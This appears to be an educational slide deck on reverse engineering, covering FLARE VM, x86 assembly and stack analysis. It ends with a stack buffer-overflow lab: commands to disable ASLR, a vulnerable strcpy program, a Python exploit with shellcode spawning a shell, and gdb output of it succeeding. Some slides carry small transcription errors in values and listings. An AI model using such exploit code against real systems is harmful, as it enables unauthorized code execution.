Introduction to Reverse Engineering

Ian Brown | Alan Padilla | Ryan Kao
What is Reverse Engineering?

• Reverse engineering – the process of disassembling and analyzing to discover the concepts involved in manufacture usually in order to produce something similar
  - Merriam Webster dictionary
• Many varieties
  • Computer Software
  • Computer Hardware
  • Automobile

We will focus on software reverse engineering
Importance of Reverse Engineering

Software controls almost everything

RE is useful for:

• Learning functionality that is hidden (i.e. malware, proprietary inner workings, etc)
  • Legacy/outdated applications

• Analyze application security
  • Kernel vs Microsoft Office
But first...
INTRODUCTION TO FLARE VM
What is FLARE VM?

The Kali of Windows!

First of a kind Windows-based security distribution designed for:

- Malware Analysis
- Incident Response
- Penetration Testing

Does not depend on a specific Windows version or Virtual Machine image.

FLARE VM provides a blueprint to automatically build the VM.
Why use FLARE VM?

• FLARE VM offers a:
  • Clean
  • Reproducible
  • Isolated environment
Simple, one click installation…


Image Credit: FireEye FLARE Team
FLARE VM in 30* minutes

Image Credit: FireEye FLARE Team
Small Sample of Tools Installed:

Disassemblers: IDA Free

Debuggers: OllyDbg

Utilities: Wireshark, MD5, Putty, FLOSS, Hexdump, FakeNet-NG

Full list at: https://github.com/fireeye/flare-vm
Quick FLARE VM DEMO
Standardization Issue

Lots of different programming languages

• Most won't easily work with each other
• No language is best for every situation
• Code has no effect until compiled/interpreted

Need a standard way to view actual functionality
Assembly Language

Assembly (asm) language – lowest-level programming language

- Readable by humans
- Intermediary step between higher-level code (like C) and machine code (binary)
- Nearly 1 to 1 correspondence between asm instructions and processor instructions

Large variety of assembly languages (MIPS, x86, SPARC, etc)

We will use x86
x86 Assembly Architecture
History

Developed by Intel for 8086 and 8088 Intel CPU (16-bit)

Still widely used today
  - XBOX, Core i3/i5/i7, Windows, Linux, etc.
  - Continual refinement and community contributions keep x86 as leading architecture

Little-endian format

32/64-bit versions today

Two main syntax formats: Intel vs AT&T
Intel vs AT&T

Intel

• `<instruction> <destination>, <operand(s)>`
• No special formatting for immediate values and registers
  • Ex) `mov eax, 0xca`
• SIZE PTR [addr + offset] for value at address
  • Ex) `add DWORD PTR [ebp-0x8], 0x5`

AT&T

• `<instruction> <operand(s)>, <destination>`
• $ designates immediate value, % designates registers
  • Ex) `movl $0xca, %eax`
• -offset(addr) for value at address
  • Ex) `addl $0x5, -0x8(%ebp)`

Because of personal preference, we will be using Intel syntax
Memory and Storage

Because x86 is a low-level language, it frequently interacts directly with hardware components

Stores "variables" directly to memory

- Registers
- Memory addresses
  - Stack
  - Heap
Storage Units

Storage size

- Byte (size of a char in C-style languages)
- Word (2 bytes in x86, although can vary by architecture and register size)
- Double word
- Quad word
Registers
Flags

Image Credit: Intel 64 and IA-32 Developer's Manual
Memory Allocation

- **Text**: Code segment, machine instr.
- **Data**: Initialized global and static variables
- **BSS**: Uninitialized global and static variables
- **Heap**: Dynamic space.
  - malloc(...) / free(...)
  - new(...) / ~
- **Stack**: Program scratch space.
  - Local variables, pass arguments, etc..

Image Credit: Mitch Adair
Memory Allocation

- Stack
- Heap
- BSS (uninitialized)
- Data (initialized)
- Text (Code)
Stack Frames

- saved ESI
- saved EDI
- local variable 3
- local variable 2
- local variable 1
- saved EBP
- return address
- parameter 1
- parameter 2
- parameter 3
- [ebp]+4
- [ebp]+8
- [ebp]+12
- [ebp]+16

ESP
EBP
Instructions

By some estimates, about 9000 x86 instructions

Ready to learn them all?
Important Instructions ctd.

Mathematical instructions

• add eax, 0x5
• sub eax, 0x5
• mul eax, edx : stores value in edx:eax
• div eax, edx : stores dividend in eax, remainder in edx
Important Instructions ctd.

Comparison/Assignment instructions

• `cmp eax, 0x10`: subtracts 0x10 from eax, check if sign flag (SF) is flipped
• `mov eax, edx`: move contents of edx into eax
• `mov eax, SIZE PTR [edx]`: move contents to which edx points into eax
  • Similar to pointer dereference in C/C++
  • `eax = *edx`
  • `[ ] -> dereference address between the brackets`
• `lea eax, [ebx+4*edx]`: load effective address represented by ebx+4*edx into eax
  • Used for getting a pointer to a specific address
Important Instructions ctd.

Comparison/Assignment instructions

- `cmp eax, 0x10`: subtracts 0x10 from eax, check if sign flag (SF) is flipped

Calling/Conditional instructions

- `call 0x8004bc`: load address of next instruction onto stack, then function parameters, then calls function at address 0x8004bc
- `ret`: restores next address of previous function (in EIP) and pops all local variables off stack
- `jmp 0x8004bc`: unconditional jump to address 0x8004bc; also `jl`, `jle`, `jge`, `jg`, `je`
Reversing can be very difficult, especially the first few times

• Persistence and patience are key
  • The more you practice, the easier it becomes

• Be one with the assembly

• Fundamental process of reverse engineering
Fundamental Process of RE

- Try to reverse
- Apply new knowledge
- Learn something new
TOO MUCH INFO!

Time for some fun...
Prologue

- Load address of esp+4 bytes into ecx
- and esp, 0xffffffff : makes stack frame align to 16-bits
- push value of ecx - 4 bytes → push previous esp onto stack

Essentially realigning frame in order to account for variable length instructions of x86
Prologue

Standard function prologue
- Put previous frame base pointer on stack
- Set new frame base pointer to current stack pointer location
- *push ecx* - unusual but necessary due to first 3 instructions
- Allocate 0x14 (20) bytes for local storage
  - Precomputed by compiler
Prologue

```
lea    ecx, [esp+0x4]
and    esp, 0xffffffff0
push   DWORD PTR [ecx-0x4]
push   ebp
mov    ebp, esp
push   ecx
sub    esp, 0x14
```
Let's start with easy instructions: mov/add

3 values assigned to memory locations

- \([\text{ebp}-0xc] = 0x4 = 4\)
- \([\text{ebp}-0x10] = 0x5 = 5\)
- \([\text{ebp}-0x14] = 0x2a = 42\)

2 registers assigned values

- \(\text{edx} = [\text{ebp}-0xc] = 4\)
- \(\text{eax} = [\text{ebp}-0x10] = 5\)
  - \(\text{eax} \text{ redefined to } \text{eax} + \text{edx} = 9\)

C code equivalent:

```c
int main() {
    int edx = 4;
    int eax = 5;
    int a = 42;

    eax = eax + edx;
}
```
Value Assignment on the Stack

<table>
<thead>
<tr>
<th>Instruction</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>mov DWORD PTR [ebp-0xc], 0x4</td>
<td>Assign 4 to ebp-0xc</td>
</tr>
<tr>
<td>mov DWORD PTR [ebp-0x10], 0x5</td>
<td>Assign 5 to ebp-0x10</td>
</tr>
<tr>
<td>mov DWORD PTR [ebp-0x14], 0x2a</td>
<td>Assign 42 to ebp-0x14</td>
</tr>
<tr>
<td>mov edx, DWORD PTR [ebp-0xc]</td>
<td>Move 42 to edx</td>
</tr>
<tr>
<td>mov eax, DWORD PTR [ebp-0x10]</td>
<td>Move 5 to eax</td>
</tr>
<tr>
<td>add eax, edx</td>
<td>Add edx to eax</td>
</tr>
</tbody>
</table>

Diagram:
- esp
- ebp-0xc
- ebp

<table>
<thead>
<tr>
<th>esp</th>
<th>42</th>
</tr>
</thead>
<tbody>
<tr>
<td>ebp-0xc</td>
<td>5</td>
</tr>
<tr>
<td>ebp</td>
<td>4</td>
</tr>
<tr>
<td></td>
<td>...</td>
</tr>
</tbody>
</table>
Jump or not

cmp: compares first operand to second operand
cmp [ebp-0x14], eax = [ebp-0x14] >? eax = 42 >? 9
jle: jumps to address 8048449 if [ebp-0x14] <= eax
Together, cmp and jle form a C-style if statement

Push puts value at 0x80484e4 ("Less than.") in memory to be accessed by printf

• Requires subtracting another 12 bytes to store value
Add 0x10 (16) to esp “deletes” local values/variables
mov 1 into eax?
Jump or not - Stack

```
8048434:   39 45 ec      cmp   DWORD PTR [ebp-0x14],eax
8048437:   70 10        jle   8048449 <main+0x43>
8048439:   83 ec 0c      sub   esp,0xc
804843c:   66 04 84 04 08  push 0x80484e4
8048441:   e8 9a fe ff ff  call  80482e0 <printf@plt>
8048446:   83 c4 10      add   esp,0x10
8048449:   b8 01 00 00 00  mov   eax,0x1

[0x80484e4]  "Less than."
```

```
<table>
<thead>
<tr>
<th>esp</th>
</tr>
</thead>
<tbody>
<tr>
<td>[0x80484e4]</td>
</tr>
<tr>
<td>ebp-0xc</td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td>ebp</td>
</tr>
<tr>
<td></td>
</tr>
</tbody>
</table>
```
### Jump or not - Stack

<table>
<thead>
<tr>
<th>Address</th>
<th>Assembly Code</th>
<th>Comment</th>
</tr>
</thead>
<tbody>
<tr>
<td>8048434:</td>
<td>39 45 ec cmp DWORD PTR [ebp-0x14], eax</td>
<td></td>
</tr>
<tr>
<td>8048437:</td>
<td>7e 10 jle 8048449 &lt;main+0x43&gt;</td>
<td></td>
</tr>
<tr>
<td>8048439:</td>
<td>83 ec 0c sub esp, 8xc</td>
<td></td>
</tr>
<tr>
<td>804843c:</td>
<td>68 e4 84 04 08 push 0x80484e4</td>
<td></td>
</tr>
<tr>
<td>8048441:</td>
<td>e8 9a fe ff ff call 80482e0 <a href="mailto:printf@plt">printf@plt</a></td>
<td></td>
</tr>
<tr>
<td>8048446:</td>
<td>83 c4 18 add esp, 8x10</td>
<td></td>
</tr>
<tr>
<td>8048449:</td>
<td>b8 01 00 00 00 mov eax, 8x1</td>
<td></td>
</tr>
</tbody>
</table>

- **esp**
- **ebp-0xc**
- **ebp**
Clean up

- Re-establishes original esp stored address
- Cleans up memory that was allocated to storing values during function (leave)

C code equivalent:
```c
int main( ) {
    int edx = 4;
    int eax = 5;
    int a = 42;

    eax = eax + edx;

    if (eax < a) {
        printf("Less than.");
    }

    return 1;
}
```
Try it on your own!

Download mysteryprog1

- How many conditional statements are there?

- What C-like conditional structure is formed by the repeated jumps at the bottom of main?
### Example 2

<table>
<thead>
<tr>
<th>080483d6 &lt;adder&gt;:</th>
<th>080483e3 &lt;main&gt;:</th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>080483d6</strong>:</td>
<td><strong>080483e3</strong>:</td>
</tr>
<tr>
<td>55</td>
<td>55</td>
</tr>
<tr>
<td>push ebp</td>
<td>push ebp</td>
</tr>
<tr>
<td><strong>080483d7</strong>:</td>
<td><strong>080483e4</strong>:</td>
</tr>
<tr>
<td>89 e5</td>
<td>89 e5</td>
</tr>
<tr>
<td>mov ebp,esp</td>
<td>mov ebp,esp</td>
</tr>
<tr>
<td><strong>080483d9</strong>:</td>
<td><strong>080483e6</strong>:</td>
</tr>
<tr>
<td>8b 55 08</td>
<td>83 ec 10</td>
</tr>
<tr>
<td>mov edx, DWORD PTR [ebp+0x8]</td>
<td>sub esp, 0x10</td>
</tr>
<tr>
<td><strong>080483dc</strong>:</td>
<td><strong>080483e9</strong>:</td>
</tr>
<tr>
<td>8b 45 0c</td>
<td>c7 45 fc 05 00 00 00</td>
</tr>
<tr>
<td>mov eax, DWORD PTR [ebp+0xc]</td>
<td>mov DWORD PTR [ebp-0x4], 0x5</td>
</tr>
<tr>
<td><strong>080483df</strong>:</td>
<td><strong>080483f0</strong>:</td>
</tr>
<tr>
<td>01 d0</td>
<td>c7 45 f8 0c 06 00 00</td>
</tr>
<tr>
<td>add eax, edx</td>
<td>mov DWORD PTR [ebp-0x8], 0xc</td>
</tr>
<tr>
<td><strong>080483e1</strong>:</td>
<td><strong>080483f7</strong>:</td>
</tr>
<tr>
<td>5d</td>
<td>ff 75 f8</td>
</tr>
<tr>
<td>pop ebp</td>
<td>push DWORD PTR [ebp-0x8]</td>
</tr>
<tr>
<td><strong>080483e2</strong>:</td>
<td><strong>080483fa</strong>:</td>
</tr>
<tr>
<td>c3</td>
<td>ff 75 fc</td>
</tr>
<tr>
<td>ret</td>
<td>push DWORD PTR [ebp-0x4]</td>
</tr>
<tr>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td>e8 d4 ff ff ff</td>
</tr>
<tr>
<td>call 080483d6 &lt;adder&gt;</td>
<td>add esp, 0x8</td>
</tr>
<tr>
<td><strong>08048402</strong>:</td>
<td><strong>08048405</strong>:</td>
</tr>
<tr>
<td>83 c4 08</td>
<td>89 45 f4</td>
</tr>
<tr>
<td></td>
<td>mov DWORD PTR [ebp-0xc], eax</td>
</tr>
<tr>
<td><strong>08048408</strong>:</td>
<td><strong>0804840d</strong>:</td>
</tr>
<tr>
<td>b8 01 00 00 00</td>
<td>c9</td>
</tr>
<tr>
<td></td>
<td>leave</td>
</tr>
<tr>
<td><strong>0804840e</strong>:</td>
<td><strong>0804840f</strong>:</td>
</tr>
<tr>
<td>c3</td>
<td>ret</td>
</tr>
<tr>
<td></td>
<td>nop</td>
</tr>
<tr>
<td></td>
<td></td>
</tr>
</tbody>
</table>
Prologue

Standard function prologue
- Put previous frame base pointer on stack
- Set new frame base pointer to current stack pointer location
- Allocate 0x10 (16) bytes for local storage
  - Precomputed by compiler

<table>
<thead>
<tr>
<th>Address</th>
<th>Opcode</th>
<th>Instruction</th>
</tr>
</thead>
<tbody>
<tr>
<td>80483e3:</td>
<td>55</td>
<td>push ebp</td>
</tr>
<tr>
<td>80483e4:</td>
<td>e5</td>
<td>mov ebp, esp</td>
</tr>
<tr>
<td>80483e6:</td>
<td>83 ec</td>
<td>sub esp, 0x10</td>
</tr>
</tbody>
</table>
Prologue

16 bytes allocated (esp-0x10)

ebp

...
Let's start with easy instructions: mov/add

2 values assigned to memory locations

- \([\text{ebp-0x4}] = 0x5 = 5\)
- \([\text{ebp-0x8}] = 0xc = 12\)

Both values pushed on stack, then call to adder

- Referring to earlier diagram of stack frame, values being loaded as parameters for function adder

C code equivalent:

```c
int main( ) {
    int a = 5;
    int b = 12;

    adder(a, b);
}
```
Main Pt. 1 - Stack

```
mov    DWORD PTR [ebp-0x4],0x5
mov    DWORD PTR [ebp-0x8],0xc
push   DWORD PTR [ebp-0x8]
push   DWORD PTR [ebp-0x8]
call   80483d6 <adder>
```
Adder

Function prologue shows up again
Access parameters by grabbing value at addresses lower in stack than new ebp
Adds eax and edx and stores result in eax
  • eax stores return value
Finally, ends in function epilogue
Main Pt. 2

1. Deletes top 8 bytes of stack
2. Value returned from adder (in eax) and stores result in ebp-0xc
3. Stores return value, 1, in eax
4. Deletes local variables and returns from main

C code equivalent:
```c
int main( ) {
    int a = 5;
    int b = 12;

    int c = adder(a, b);
    return 1
}
```
Try it on your own pt. 2!

Download mysteryprog2

Find the flag!
Attacking with RE
Buffer Overflows

• Occurs when memory is written past the area that was allocated for it
• Generally caused by functions that write data without bounds checking i.e. scanf, gets, strcpy
• Allows attacker to write arbitrary data into stack frame, possibly overwriting other values or the return pointer
Fuzzing

• Buffer overflows can be discovered by fuzzing
• Fuzzing refers to providing invalid data as input to a program
  • Usually it is an automated process by which many different inputs are tried
• Inspect registers of the stack by attaching debugger to program
Shellcode

• Instructions injected by an attacker that are executed by the process
• Injected in binary form (written in hex format)
• Called shellcode because the standard use is to spawn a shell
• Is less practical today due to protections that don’t allow execution of writable memory (DEP)
Buffer overflow exploitation example

- In a 32 bit x86 linux VM, disable ASLR (address space layout randomization)
  - `sudo sysctl –w kernel.randomization_va_space=0`
- Compile example program without modern protections against stack overflow
  - `gcc -g -fno-stack-protector -z execstack -o bo1`
  - `gcc –g –m32 –fno-stack-protector –z execstack –o bo1 (if 64 bit linux)`
- Install gdb and get gdb peda plugin
  - `sudo apt-get install gdb`
  - `git clone https://github.com/longld/peda.git ~/peda`
  - `echo "source ~/peda/peda.py" >> ~/.gdbinit`
```c
#include <stdio.h>
#include <string.h>

void main (int argc, char*argv[]) {
    copier(argv[1]);
    printf("Done\n");
}

int copier (char *str) {
    char buffer[100];
    strcpy(buffer,str);
    printf("You entered \"%s\" at %p\n", buffer, buffer);
}
```
Shows locations of EBP and ESP registers

EAX: 0xbffff2ec  -->  0x90909090
EBX: 0x80002000  -->  0x1ef8
ECX: 0xbffff630  ("AAAAA0\363\377\277")
EDX: 0xbffff357  ("AAAAA0\363\377\277")
ESI: 0xb7fb2000  -->  0x1aedb0
EDI: 0xb7fb2000  -->  0x1aedb0
EBP: 0xbffff358  ("AAAAA0\363\377\277")
ESP: 0xbffff2e0  -->  0x0
EIP: 0x80000671  (\texttt{<copier+36>: sub esp,0x4})
EFLAGS: 0x00000671 (\texttt{carry parity adjust zero SIGN trap INTERRUPT direction overflow})

0x80000668 <copier+27>: push eax
0x80000669 <copier+28>: call 0x80000450 <strcpy@plt>
0x8000066e <copier+33>: add esp,0x10
0x80000671 <copier+36>: sub esp,0x4
0x80000674 <copier+39>: lea eax,[ebp-0x6c]
0x80000677 <copier+42>: push eax
0x80000678 <copier+43>: lea eax,[ebp-0x6c]
0x8000067b <copier+46>: push eax
#!/usr/bin/python

retadd = "\x3e\xf2\xff\xbf"

nop = "\x90" * 64

# shellcode to open /bin/dash
shellcode =
"\x31\xc0\x89\xc3\xb0\x17\xcd\x80\x31"
"\xd2\x52\x68\xe6\x2f\x73\x68\x68\x2f"
"\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1"
"\x8d\x42\x0b\xcd\x80"

padding = (112 - 64 - 32) * 'A'

# from the ESP to return address there is 112 bytes
# the return address is the 4 bytes in memory after the EBP address
buf = nop + shellcode + padding + retadd

print buf
In the box is the return address 0xbfff330 that is the 4 bytes after the EBP register.
buf (116 bytes)

buf overflows and overwrites the saved EBP and EIP on the stack

argv (4 bytes)
argc (4 bytes)

saved EBP (4 bytes)
saved EIP (4 bytes)

$esp
$esp+12
top of stack (lower addresses)

$esp+120
$esp+124
bottom of stack (higher addresses)
Breakpoint 1, copier (str=0xbffff500 "\021") at overflow_example.c:12
12    printf("You entered \"%s\" at %p\n", buffer, buffer);
gdb-peda$ continue
Continuing.
You entered 'AAAAAAAAAAAAAAAAAAAA' at 0xbffff2ec
process 2086 is executing new program: /bin/dash
Error in re-setting breakpoint 1: No source file named /root/Desktop/BOexample/overflow_example.c.